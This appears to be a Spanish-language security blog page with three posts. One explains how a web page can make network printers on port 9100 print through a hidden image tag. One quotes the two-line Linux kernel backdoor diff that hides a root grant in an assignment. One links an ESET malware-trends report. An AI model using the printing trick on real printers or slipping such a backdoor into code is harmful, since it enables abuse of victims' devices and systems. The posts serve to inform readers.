Founder of MalwareIntelligence, a site dedicated to research on all matters relating to anti-malware security, criminology computing and information security in general, always from a perspective closely related to the field of intelligence.

lunes, 14 de enero de 2008

CROSS SITE PRINTING: ATACANDO A LAS IMPRESORAS DE RED

Basándose en un trabajo de Adrian Crenshaw, Aaron Weaver ha publicado un artículo en el cual detalla una técnica que nos permitiría tomar cierto control de las impresoras de red y haciendo uso de un poco de código JavaScript en una web maliciosa o vulnerable, podríamos iniciar trabajos de impresión, enviar comandos PostScript y en algunos casos enviar hasta faxes, pudiendo así utilizarlas entre otras cosas para realizar SPAM, Phishing y todo lo que a uno se le pueda ocurrir.

El problema

Muchas impresoras de red quedan a la escucha en el puerto 9100 por trabajos de impresión. Para probarlo basta con conectarse vía telnet a la misma, escribir algo y desconectarse, luego del cierre de la conexión la impresora comenzara a realizar el trabajo. Cabe aclarar que las impresoras locales no resultan afectadas (aun) por esta clase de ataques.

Ataque

Una forma simple de comprobar esta técnica es escribiendo en nuestro navegador la siguiente dirección:

http://ip-impresora:9100/

el navegador establecerá la conexión con la impresora, pero al no tratarse de un servidor web no verá nada en la pantalla, y cuando presione detener o pase el tiempo de espera, la conexión se cerrara y comenzara el trabajo de impresión. El equipo imprimirá las cabeceras de la petición realizada por el navegador, las mismas pueden variar de uno a otro.

Firefox:

GET / HTTP/1.1
Host: impresora-red:9100
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.8.1.11) Gecko/20071127 Firefox/2.0.0.11
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: es-es,es;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive

Internet Explorer

GET / HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*
Accept-Language: es-es
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: impresora-red:9100
Connection: Keep-Alive

Si lo que queremos es realizar una impresión desde un web sin que el visitante lo note, podemos insertar una etiqueta de imagen con la ruta apuntando hacia la impresora de red, el navegador intentara cargar la misma pero luego de unos segundos cerrara la conexión al sobrepasar el tiempo de espera, iniciando así la impresión.

Seguir leyendo

Ver más

CUESTIÓN DE CONFIANZA
Siempre se escucha que Linux es más seguro que Windows, que no hay virus, que al ser libre hay mucha gente que revisa el código, que el diseño de los usuarios y privilegios dificulta que se extiendan, y otros comentarios por el estilo. Lo cierto es que es hay pocos virus, muchos son pruebas de concepto (incluso se desinstalan si se le pide educadamente) y ninguno ha conseguido propagarse eficientemente, con lo que ese riesgo es prácticamente inexistente.

Una de las posibles fuentes de infección masiva, viene del hecho de que el código fuente esté accesible. Una puerta trasera introducida en el código, en caso de pasar desapercibida, podría llegar a miles de usuarios a través de los repositorios de las distintas distribuciones. Estos usuarios confían en el software compilado y firmado por una de estas fuentes oficiales. Normalmente, hay unos pocos desarrolladores que pueden modificar el código o aplicar parches que proponen terceras personas, siempre después de revisarlos, por lo que no es fácil que esto suceda. Por ejemplo, hace unos años hubo un intento de instalar una puerta trasera en el propio kernel de Linux. Eran tan solo 2 lineas:
+       if ((options == (__WCLONE|__WALL)) && (current->uid = 0))
+ retval = -EINVAL;
Es fácil ver que en (current->uid = 0) no se está comparando current->uid con 0, sino que se se está asignando. Después de este cambio, llamando a la función sys_wait4() con los flags __WCLONE y __WALL, se obtenían permisos de root. En realidad, el código se modificó en una copia del repositorio que contiene el código del kernel y no llegó a publicarse al detectarse a tiempo.

El riesgo de que se introduzca una puerta trasera es bajo, pero es posible, al igual que los bugs pasan desapercibidos y acaban en el usuario. Obviamente, es imposible revisar el código de todo el software que utilizamos (a veces incluso no tenemos esa posibilidad) y tenemos que confiar más o menos en quien desarrolla y distribuye el software. Bueno, siempre nos podemos fiar del código escrito por nosotros mismos, o quizás no.

Ver más

TENDENCIAS SOBRE MALWARE PARA EL 2008
La Empresa ESET que desarrolla y comercializa uno de los mejores productos antivirus, ESET NOD32 Antivirus, ha lanzado un nuevo informe sobre las actividades maliciosas que se esperan para este año 2008.

El documento fue escrito por Cristian Borghello, Technical & Educational Manager de ESET para Latinoamérica y describe cuales son las metodologías y técnicas de infección que utilizarán los códigos maliciosos.

Pueden leer el documento desde:
http://eset-la.com/threat-center/1709-tendencias-2008

Jorge

Ver más